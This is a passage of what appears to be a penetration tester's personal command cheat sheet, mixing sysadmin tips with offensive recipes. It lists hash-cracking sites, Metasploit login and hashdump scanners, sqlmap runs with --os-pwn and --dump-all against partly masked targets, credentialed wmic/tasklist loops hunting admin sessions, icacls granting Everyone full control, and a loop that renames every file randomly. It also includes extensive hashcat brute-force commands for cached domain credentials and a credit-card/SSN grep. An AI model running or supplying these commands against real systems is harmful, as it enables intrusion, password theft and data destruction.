  526. http://tools.dxsheng.com/IpSnap
  527. http://tool.gimoo.net/iphost
  528. http://www.yw123.com/ip.asp
  529. http://cn.bing.com/search?q=ip%3A209.195.132.165
  530. http://www.ip138.com+
  531.  
  532. hashs
  533. href="http://hashcrack.com
  534. http://www.lmcrack.com
  535. http://passcracking.com
  536. http://www.cmd5.com
  537. http://xmd5.org
  538. http://md5.rednoize.com
  539. http://www.t00ls.net/tools/md5
  540. http://www.hashchecker.com/index.php?_sls=search_hash
  541. http://md5.mmkey.com
  542. http://gdataonline.com/seekhash.php">GdataOnline</a><br>
  543. http://cha88.cn/safe/md5.php
  544. http://www.md5crack.com
  545. http://www.md5.com.cn
  546. http://www.objectif-securite.ch/en/products.php
  547.  
  548. #db ports ?
  549. -T3 -p 1521-1527,3306-3310,1433-1437,3200-3299,3300-3399,32000-32990,33000-33990
  550.  
  551. # mount images also checck sleuthkit.org/autopsy/
  552. First I check the disk geometry with sfdisk -l -u -S *
  553. Then look for the start sector of the partition, e.g. 5
  554.  
  555. mount -o loop,offset=$((5 * 512)) [image] /mnt
  556. mount the partition to /mnt (replace 5 with the output from sfdisk)
  557.  
  558. mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/APPSERVER.dd appserver/
  559.  
  560. mount -t ntfs -o ro,offset=41126400,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/RH-CLIENT-MX.dd rh-CLIENT-MX/part1/
  561. mount -t ntfs -o ro,offset=12930172416,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/RH-CLIENT-MX.dd rh-CLIENT-MX/part2/
  562.  
  563. mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/SERVERSQL.dd serversql
  564. mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/SERVERSQL2.dd serversql2/
  565.  
  566.  
  567.  
  568. # nethackit.sh.txt metasploit scanners
  569. auxiliary/scanner/ftp/anonymous
  570. auxiliary/scanner/ftp/ftp_login
  571. auxiliary/scanner/snmp/snmp_enum
  572. auxiliary/scanner/snmp/snmp_enumshares
  573. auxiliary/scanner/snmp/snmp_enumusers
  574. auxiliary/scanner/snmp/snmp_login
  575. auxiliary/scanner/mssql/mssql_hashdump
  576. auxiliary/scanner/oracle/oracle_login
  577. auxiliary/scanner/oracle/sid_brute
  578. auxiliary/scanner/smtp/smtp_enum
  579. auxiliary/scanner/smtp/smtp_version
  580. auxiliary/scanner/telnet/telnet_login
  581. auxiliary/scanner/mysql/mysql_hashdump
  582. auxiliary/scanner/mysql/mysql_login
  583. auxiliary/scanner/mysql/mysql_version
  584. auxiliary/scanner/smb/smb_version
  585. auxiliary/scanner/smb/smb_enumusers
  586. auxiliary/scanner/smb/smb_login
  587. auxiliary/scanner/smb/smb_enumshares
  588. auxiliary/scanner/nfs/nfsmount
  589. auxiliary/scanner/vnc/vnc_login
  590. auxiliary/scanner/vnc/vnc_none_auth
  591. auxiliary/scanner/pop3/pop3_version
  592. auxiliary/scanner/pop3/pop3_login
  593. auxiliary/scanner/http/http_login
  594. auxiliary/scanner/http/dir_scanner
  595. auxiliary/scanner/http/dir_scanner
  596. auxiliary/scanner/http/http_version
  597. auxiliary/scanner/http/robots_txt
  598. auxiliary/scanner/http/apache_userdir_enum
  599. auxiliary/scanner/http/blind_sql_query
  600. auxiliary/scanner/http/cisco_ios_auth_bypass
  601. auxiliary/scanner/http/error_sql_injection
  602. auxiliary/scanner/http/files_dir
  603. auxiliary/scanner/http/jboss_vulnscan
  604. auxiliary/scanner/http/web_vulndb
  605. auxiliary/scanner/ssh/ssh_login
  606. auxiliary/scanner/ssh/ssh_login_pubkey
  607. auxiliary/scanner/ssh/ssh_version
  608. auxiliary/scanner/sip/enumerator
  609. auxiliary/scanner/sip/enumerator_tcp
  610. auxiliary/scanner/sip/sipdroid_ext_enum
  611.  
  612. # grep password words in a file and shot 4 lines before and after grep images AIX images
  613. egrep -A 4 -B 4 -ia '(passwd|password|shadow)' someAIX_NIM_DUMP.image.110512 > out.txt
  614. # perform strings on the output so we can read it ..
  615. strings out.txt > out2.txt
  616.  
  617.  
  618. # Oracle 7-10g DES(ORACLE) Oclhashcat_plus GPU
  619. # input : F35C90763516369B:DEV_MDS
  620. cudaHashcat-plus64.exe --hash-type 3100 C:\egb\ocl\ORACLE.txt C:\egb\Dictionaries\PasswordsPro.dic C:\egb\Dictionaries\Xploitz_clean.lst
  621.  
  622. #oracle dump ref defcon-17-chris_gates-breaking_metasploit.pdf and win32exec.rb in MSF
  623. select owner, table_name, column_name,data_type,data_length, data_precision,data_default, avg_col_len, char_length from sys.dba_tab_columns where owner not in ('APPQOSSYS','ADUSER','CTXSYS','DIP','DBSNMP','MDSYS','OUTLN','SYS','SYSTEM','TEST','XDB','WMSYS','XSNULL') AND avg_col_len>0
  624.  
  625. # oracle
  626. nmap -n --script=oracle-sid-brute -p 1521-1560 -iL oracle -A
  627.  
  628. # mount smb share with runas/savecred ... yes this is bad idea!
  629. runas /u:admin /savecred "net use Z: \\192.168.1.151\myth\h /del"
  630. runas /u:admin /savecred "net use \\192.168.1.151\myth\h /del"
  631. runas /u:admin /savecred "net use z: \\192.168.1.151\myth\h /user:mythtv PASSSWORDHERE"
  632.  
  633.  
  634.  
  635.  
  636. Use takeown to take ownership of the file
  637. takeown /r /d y /f *
  638. Follow it up with icacls set the access control list
  639. icacls * /t /grant Everyone:F
  640.  
  641.  
  642. #So it appears Google translator blocks English to English translating ( aka super fast web proxy ). So guess what ? Just change the source language it to valid English language code like en-au
  643.  
  644. http://translate.google.com/translate?sl=af&tl=en-au&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Frmccurdy.com
  645.  
  646.  
  647.  
  648. #gawk awk system exec commands with output of awk
  649. /rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html https:\/\/"$1":"$2 )}' 2>&1 &
  650. /rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html http:\/\/"$1":"$2 )}' 2>&1 &
  651.  
  652. # filename= in header
  653. curl -O -J -L URL
  654.  
  655.  
  656. #Nmap Idle Scanning.
  657. use auxiliary/scanner/ip/ipidseq
  658. nmap 192.168.1.250 -top-ports 9 -D RND:120 -T4 -ff
  659.  
  660. # wmic fu search systems for running 'exe' to hijack
  661. FOR /F "delims==" %%A IN ('type ips.txt') DO wmic /Node:%%A wmic /user:username /password:yourpassword /FAILFAST:ON process where "name like '%.exe'" call getowner
  662.  
  663.  
  664. Netsess.exe .h
  665.  
  666. FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
  667. FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
  668.  
  669. FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
  670. FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process
  671.  
  672. on %i && pause
  673.  
  674. for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in
  675.  
  676. (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
  677.  
  678. for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in
  679.  
  680. (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
  681.  
  682.  
  683. #uwall.tv direct link
  684. http://uwall.tv/player_lightbox.php?q=gangnam%20style
  685.  
  686. # cat /bin/RAND
  687. IFS=$'\n'
  688.  
  689. for fname in `find . -type f `
  690. do
  691. mv "$fname" $RANDOM$RANDOM
  692. done
  693.  
  694.  
  695.  
  696. # burp in win7 etc ..
  697. run as administrator
  698. Solution was to add the "-Djava.net.preferIPv4Stack=true" flag, so the following entry in my .bat file works now:
  699.  
  700. # John the Ripper Password Cracker (Fast Mode)
  701. # see also :
  702. #
  703. # auxiliary/analyze/jtr_aix
  704. # auxiliary/analyze/jtr_linux
  705. # auxiliary/analyze/jtr_mssql_fast
  706. # auxiliary/analyze/jtr_mysql_fast
  707. # auxiliary/analyze/jtr_oracle_fast
  708. # auxiliary/analyze/jtr_unshadow
  709. # auxiliary/analyze/postgres_md5_crack
  710.  
  711.  
  712. use auxiliary/analyze/jtr_crack_fast
  713. set Munge 0
  714. run# got new ebooks with roubble \n\n or \r\r
  715. For converting double newlines (\n\n) to a single newline (\n):
  716. sed -e 'N;P;s/\n$//;D'
  717.  
  718. For converting double carriage returns (\r\r) to a single carriage
  719. return (\r):
  720. sed -e 's/\r\r/\r/g'
  721.  
  722. tr(1) has the -s option, but that will squeeze multiple (possibly more
  723. than two) occurrences to a single occurrence.
  724.  
  725. This can also be handled in the more general case with perl(1), e.g.:
  726. perl -pe '
  727. BEGIN {$/="\n\n";}
  728. s/\n\n/\n/o;
  729.  
  730. john 1337 speak worlist gen:
  731.  
  732.  
  733.  
  734. The default john.conf includes some rules like that, enabled for "single crack" mode only by default. You may copy the lines between these two comments:
  735. # The following 3l33t rules are based on original Crack's dicts.rules
  736. l/asa4[:c]
  737. l/ese3[:c]
  738. l/lsl1[:c]
  739. l/oso0[:c]
  740. l/sss$[:c]
  741. ...
  742. l/asa4/ese3/lsl1/oso0/sss$[:c]
  743. # Now to the prefix stuff...
  744. into the [List.Rules:Wordlist] section to have them enabled for wordlist mode as well. usage: john -w=wordlist --stdout --rules
  745.  
  746.  
  747. # slow this or run it over proxychains etc ..
  748. for i in `cat in` ;do python metagoofil.py -d $i -l 100 -f all -o micro_$i.html -t micro-files_$i;sleep 60;done
  749. for i in `cat in` ;do ./theHarvester.py -d $i -b google;sleep 60;done
  750.  
  751.  
  752. # hybrid mask attack hashcat not all special characters
  753. ?u?l?d!@#$-().*_
  754.  
  755. # grep 8 or more char long characterslength
  756. grep '[^\ ]\{8,\}'
  757. # sed 8 chars long characters long length
  758. sed -n -e '/^.\{8\}$/p''
  759.  
  760.  
  761. # fix path Environment Variables path issues in M$
  762. sysdm.cpl
  763. C:\Program Files\w3af;C:\Program Files;C:\winxp;C:\winxp\System32;c:\program files\nmap;C:\Program Files\RSA SecurID Token Common;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Strawberry\c\bin;C:\Strawberry\perl\site\bin;C:\Strawberry\perl\bin
  764.  
  765.  
  766. # nmap SMB check unsafe
  767. nmap --script smb-check-vulns.nse --script-args=unsafe=1 -p445 192.168.1.0/24 --open
  768.  
  769. # openvas cioent
  770. # Update your distro
  771. apt-get update && apt-get dist-upgrade
  772.  
  773. # Install openvas server and client software + security plugins
  774. apt-get install openvas-server openvas-client \
  775. openvas-plugins-base openvas-plugins-dfsg
  776.  
  777. # Update the vuln. database
  778. openvas-nvt-sync
  779.  
  780. Add a user that you're going to use from the client, to login:
  781.  
  782. openvas-adduser
  783.  
  784. Here, you'll add a user/pass combination.
  785.  
  786. When prompted to add a 'rule' - I allow my user to do everything. The rules allow/disallow scanning of hosts. If you want you can let bob scan 192.168.0.0/24 or whatever. I want my user to scan all, so when prompted, simply enter
  787.  
  788. default accept
  789.  
  790. Now, fire up the server. Note that the first time you run, it loads all those checks into memory so it takes a LONG time for the server to actually start.
  791.  
  792. /etc/init.d/openvas-server start
  793.  
  794. Now, you can start scanning. Create a file with IP's and/or hostnames that your client will feed to the server to scan. Something like this:
  795.  
  796. 192.168.1.5
  797. www.mydomain.com
  798. dns.mydomain.com
  799. 10.1.19.0/24
  800.  
  801. etc.
  802.  
  803. The server listens on port: 9390 by default so you'll want to tell your client to connect there. Once you have the file created, you can kick off your scan like this:
  804.  
  805. OpenVAS-Client -q 127.0.0.1 9390 admin scanme.txt -T html \
  806. ~/Desktop/openvas-output-`date`.html
  807.  
  808. You'll be prompted to accept the SSL certificate, go ahead, it's automagically created by the pkg when it's installed. Then, open that file in a browser when it's done and start going through it. Be warned, scanning is very hostile so you should really only scan your own systems.. and those of your enemies.
  809.  
  810.  
  811. # sqlmap notes .. also check out Havij 1.15 - Advanced SQL Injection
  812.  
  813. --wizard
  814. --search -C pass,pwd,ssn
  815.  
  816.  
  817. /pentest/database/sqlmap/sqlmap.py -u "https://tZZZZZZ.com/ZZZZZ/Default.aspx" --data="__VIEWSTATE=%ZZZZZZZZ&btnContinue=Continue" --os-pwn --msf-path /pentest/exploits/framework
  818.  
  819. /pentest/database/sqlmap/sqlmap.py -u "http://ZZZZ4/forgotpass.aspx" --data="__VIEWSTATE=%2FZZZZZZ&email=a&submit=Password" --dump-all --exclude-sysdbs
  820.  
  821.  
  822. #oclHashcat plus Support List :
  823.  
  824. # scripts !
  825. http://itsecblog.net/downloads/batchcrack.sh
  826. http://rmccurdy.com/scripts/batchcrack_rmccurdy.bat
  827.  
  828. number PSA hashcat (0.39b24) oclHashcat-plus (0.08b25) oclHashcat-lite (0.10b9)
  829. 0 MD5 x x x
  830. 1 *md5($pass.$salt) (see 11) x
  831. 2 *md5($salt.$pass) (see 21) x
  832. 3 *md5(md5($pass)) (see 2600) x
  833. 4 *md5(md5(md5($pass))) x
  834. 5 *vBulletin < v3.8.5 (see 2611) x
  835. 6 *md5(md5($salt).$pass) (see 2811) x
  836. 7 *md5($salt.md5($pass)) x
  837. 8 *md5($salt.$pass.$salt) x
  838. 9 *md5(md5($salt).md5($pass)) x
  839. 10 *md5(md5($pass).md5($salt)) x x
  840. 11 *md5($salt.md5($salt.$pass)) x
  841. 11 Joomla x x
  842. 12 *md5($salt.md5($pass.$salt)) x
  843. 15 *vBulletin > v3.8.5 (see 2711) x
  844. 21 osCommerce, xt:Commerce x
  845. 30 *md5($username.0.$pass) x
  846. 31 *md5(strtoupper(md5($pass))) x
  847. 100 SHA1 x x x
  848. 101 nsldap, SHA-1(Base64), Netscape LDAP SHA x x
  849. 101 *sha1($pass.$salt) x
  850. 102 *sha1($salt.$pass) x
  851. 103 *sha1(sha1($pass)) x
  852. 104 *sha1(sha1(sha1($pass))) x
  853. 105 *sha1(strtolower($username).$pass) (see 121) x
  854. 110 *sha1($pass.$salt) x
  855. 111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA x x
  856. 112 Oracle 11g x x
  857. 121 SMF > v1.1 x
  858. 122 OSX v10.4, v10.5, v10.6 x
  859. 131 MSSQL(2000) x x
  860. 132 MSSQL(2005) x x
  861. 200 MySQL323 x
  862. 300 MySQL >=4.1 x x x
  863. 400 phpass, MD5(Wordpress), MD5(phpBB3) x x
  864. 500 md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 x x
  865. 600 *SHA-1(Base64) (see 101) x
  866. 700 *SSHA-1(Base64) (see 111) x
  867. 800 SHA-1(Django) x
  868. 900 MD4 x x x
  869. 1000 NTLM x x x
  870. 1100 Domain Cached Credentials, mscash x x x
  871. 1200 MD5(Chap) x
  872. 1300 MSSQL x
  873. 1400 SHA256 x x x
  874. 1500 descrypt, DES(Unix), Traditional DES x x
  875. 1600 md5apr1, MD5(APR), Apache MD5 x x
  876. 1700 SHA512 x x
  877. 1800 SHA-512(Unix) x
  878. 1900 SL3 x
  879. 2100 Domain Cached Credentials2, mscash2 x
  880. 2400 Cisco-PIX MD5 x x
  881. 2500 WPA/WPA2 x
  882. 2600 Double MD5 x x
  883. 2611 vBulletin < v3.8.5 x x
  884. 2711 vBulletin > v3.8.5 x x
  885. 2811 IPB2+, MyBB1.2+ x x
  886. 3000 LM x x
  887.  
  888. *
  889. * Depreached,
  890.  
  891.  
  892. Example :
  893. set BIN=oclHashcat-plus64
  894. set OPTS=--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --gpu-watchdog 0 --runtime 30 --force --custom-charset1 ?l?d?s?u
  895.  
  896. %BIN% %OPTS% --hash-type 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  897. %BIN% %OPTS% --hash-type 11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  898. %BIN% %OPTS% --hash-type 21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aa ?1?1?1?1?1?1?1?1
  899. %BIN% %OPTS% --hash-type 100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  900. %BIN% %OPTS% --hash-type 101 {SHA}aaaaaaaaaaaaaaaaaaaaaaaaaaQ= ?1?1?1?1?1?1?1?1
  901. %BIN% %OPTS% --hash-type 111 {SSHA}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ== ?1?1?1?1?1?1?1?1
  902. %BIN% %OPTS% --hash-type 112 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaa ?1?1?1?1?1?1?1?1
  903. %BIN% %OPTS% --hash-type 121 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
  904. %BIN% %OPTS% --hash-type 122 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  905. %BIN% %OPTS% --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  906. %BIN% %OPTS% --hash-type 132 0x0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  907. %BIN% %OPTS% --hash-type 300 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  908. %BIN% %OPTS% --hash-type 400 $H$9aaaaaaaaaaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1
  909. %BIN% %OPTS% --hash-type 500 $1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
  910. %BIN% %OPTS% --hash-type 900 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  911. %BIN% %OPTS% --hash-type 1000 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  912. %BIN% %OPTS% --hash-type 1100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
  913. %BIN% %OPTS% --hash-type 1400 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  914. %BIN% %OPTS% --hash-type 1500 aaaaaaaaaaaaw ?1?1?1?1?1?1?1?1 --gpu-accel 80
  915. %BIN% %OPTS% --hash-type 1600 $apr1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
  916. %BIN% %OPTS% --hash-type 2100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
  917. %BIN% %OPTS% --hash-type 2400 aaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  918. %BIN% %OPTS% --hash-type 2500 test.hccap ?1?1?1?1?1?1?1?1
  919. %BIN% %OPTS% --hash-type 2611 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaa ?1?1?1?1?1?1?1?1
  920. %BIN% %OPTS% --hash-type 2711 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  921. %BIN% %OPTS% --hash-type 2811 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaa ?1?1?1?1?1?1?1?1
  922. sq
  923.  
  924. # ocl hashcat plus examples:
  925.  
  926.  
  927.  
  928. all Rule based attack:
  929. FOR /F "delims==" %%A IN ('DIR/B/S ".\rules\"') DO cudaHashcat-plus32.exe -a 0 -r "%%A" -m1100 -o out.txt "mscache2" "C:\egb\Dictionaries\rockyou.txt"
  930.  
  931.  
  932.  
  933.  
  934.  
  935. rem example brute by char to 7 max chars in ~5min with GTX 560 example hash '2d9f0b052932ad18b87f315641921cda:user' password is password ...
  936. cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1
  937. cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1
  938. cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1
  939. cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1
  940. cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1
  941. cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1
  942.  
  943.  
  944. rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars
  945. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1"
  946. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1"
  947. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"
  948.  
  949.  
  950. rem same as above with 1337 speek wordlist+MASK to 4 chars
  951. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1"
  952. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1"
  953. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"
  954.  
  955. rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars digi and some special chars only ...
  956. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"
  957.  
  958. rem example Hybrid attack 1337 speekt wordlist+MASK to 4 chars digi and some special chars only ...
  959. cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"
  960.  
  961.  
  962.  
  963.  
  964. rem dammit I give up ... 6hrs .. for 7char brute
  965. cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1?1
  966.  
  967.  
  968. REM really !?!? example 8 char brute ( 18 days on GTX 560 )
  969. cudaHashcat-plus32.exe -o out.txt -a3 -1 ?l?u?d!@#$-().*_ -m1100 mscache2 ?1?1?1?1?1?1?1?1
  970.  
  971.  
  972.  
  973. # more examples hashes cracked john
  974.  
  975. user:2d9f0b052932ad18b87f315641921cda:lab:lab.internal
  976. Service currently active. Stopping service...
  977. Service successfully removed.
  978.  
  979. John Plugin:
  980. $ ./john -format:mscash ./mscash.txt
  981. Loaded 1 password hash (M$ Cache Hash [mscash])
  982. password (user
  983.  
  984.  
  985.  
  986. # set power profile via command line
  987.  
  988. Powercfg.exe /SETACTIVE "Always On"
  989. Powercfg.exe /SETACTIVE "Max Battery"
  990.  
  991. #Remove the .NET Credentials (Stored User names and Passwords)
  992. Control keymgr.dll
  993.  
  994.  
  995. # convert amr to mp3
  996. ffmpeg -i file.amr -vn -acodec libmp3lame -ac 2 -ab 96k file.mp3
  997. FOR /F "delims==" %%A IN ('DIR/B "*.amr"') DO ffmpeg -i %%A -vn -acodec libmp3lame -ac 2 -ab 96k %%A.mp3
  998.  
  999.  
  1000. #windows saved passwords
  1001. rundll32.exe keymgr.dll, KRShowKeyMgr
  1002.  
  1003. # check for mod date range
  1004. find / -type f -newermt 2011-10-01 ! -newermt 2012-04-30
  1005.  
  1006. # openvas on 11.10
  1007. take src out of the sources.list
  1008. add --http-only to the /etc/init.d/greenbone-security-assistant startup script
  1009.  
  1010. # mass set path
  1011. export PATH=$PATH:`find /usr/lib/ruby/1.9.1 -type d | sed 's/$/:/g' | tr -d '\n'`
  1012.  
  1013.  
  1014.  
  1015. # top web ports ports
  1016. 80-83,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8080,808,8099,8100-8105,8443,8888,8900,9999,10000
  1017.  
  1018. # more web ports
  1019. 10080,10100,10243,10250,10251,1027,1029,1030,1032,10439,10444,11267,1183,1184,11869,11905,11910,11935,1208,13080,1416,14176,14654,16000,16080,16372,17012,18083,1818,18180,1830,1831,19000,19082,19091,19101,1947,1972,19740,2002,2030,20444,2130,2140,21988,2301,2316,2381,2414,2424,24305,2480,2523,25684,25825,2693,27775,280,28080,2851,2869,30444,30900,31458,31459,3201,3227,32843,3339,34988,35135,35145,3526,3617,3790,37922,3842,3914,3938,4036,4053,41647,4220,4239,4343,443,45000,4680,47001,4723,48018,4848,4864,49152,49157,50000,50001,50038,51785,51905,51908,5225,53001,5357,5440,5447,5449,5469,54850,5500,5501,554,5554,55885,56414,56737,57423,57772,57773,5800,5801,591,593,5985,5989,60000,6001,6002,6003,6004,60213,61000,6107,6108,6113,6114,6160,6161,631,6325,6453,6454,65084,65093,6842,7001,7002,7003,7070,7099,7126,7191,7359,7453,7454,7717,7751,80,8000,8001,8002,8003,8004,8008,8020,8070,8071,8077,8080,8081,8082,8083,8085,8086,8087,8088,8090,8093,8094,8095,8099,81,8107,8113,8114,8115,8118,8120,8123,8126,8133,8135,8138,815,8150,8151,8180,82,8200,8222,8260,8300,8323,8333,84,8444,85,8530,8533,86,8660,8666,8701,8703,8732,8733,8740,8878,8880,8888,8889,8900,90,9000,9001,9002,9005,9006,9073,9080,9081,9084,9086,9087,9090,9091,9191,9300,9310,9444,9501,9510,9595,9642,9675,9676,9797,9823,9887
  1020.  
  1021. #sap ports
  1022. 32000,33000,34000,36000,47000,48000,21-23,25,21-23,25,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8015,8080-8083,8099,8100-8105,8443,8888,8900,9999,10000
  1023.  
  1024. # common proxy ports
  1025. 80,81,82,83,84,85,86,443,808,3128,6515,6666,8000,8001,8008,8080,8081,8088,8090,8118,8181,8888,8909,9000,9090,54321
  1026.  
  1027.  
  1028.  
  1029.  
  1030.  
  1031. # Search office documents for PII
  1032. # CC with SSN no dash ( high false positive )
  1033. find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b|\b[0-9]{9}\b"
  1034.  
  1035. # CC with SSN dash ( low false positive only match ###-##-#### not any 8digi number )
  1036. find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b"
  1037.  
  1038.  
  1039.  
  1040.  
  1041. # nslookup to CSV
  1042. for i in `cat FULL` ;do echo "IP$i";nslookup $i|grep 'name ='|sed 's/.*name = /,/g'|sed 's/\.$//g';done| tr -d '\n' | awk '{gsub("IP","\n"); print}'
  1043.  
  1044.  
  1045. # my-ip-neighbors lookup
  1046. # 200 at a time .. you need to change the -x to a proxy that works .. rmccurdy.com/scripts/proxy/good.txt
  1047. # test google before you start ..
  1048. # curl -x 184.171.175.14:808 http://google.com etc ..
  1049.  
  1050.  
  1051. for i in `cat FULL`;do echo curl -x 184.171.175.14:808 "\""http://www.my-ip-neighbors.com/?domain=$i"\"";done > go
  1052. bash -x go > out
  1053.  
  1054. # grep the output for all the goodies and make it nice CSV
  1055. egrep "(\"http:\/\/whois\.domaintools\.com|domain\" value=\")" out | sed 's/.*domain\" value=\"/IP /g' | sed 's/\"\/>.*//g' | sed 's/.*domaintools.com\//,/g' | sed 's/" t.*//g' | tr -d '\n' | awk '{gsub("IP","\n"); print}'
  1056.  
  1057.  
  1058.  
  1059.  
  1060.  
  1061. # block port 80 throttle
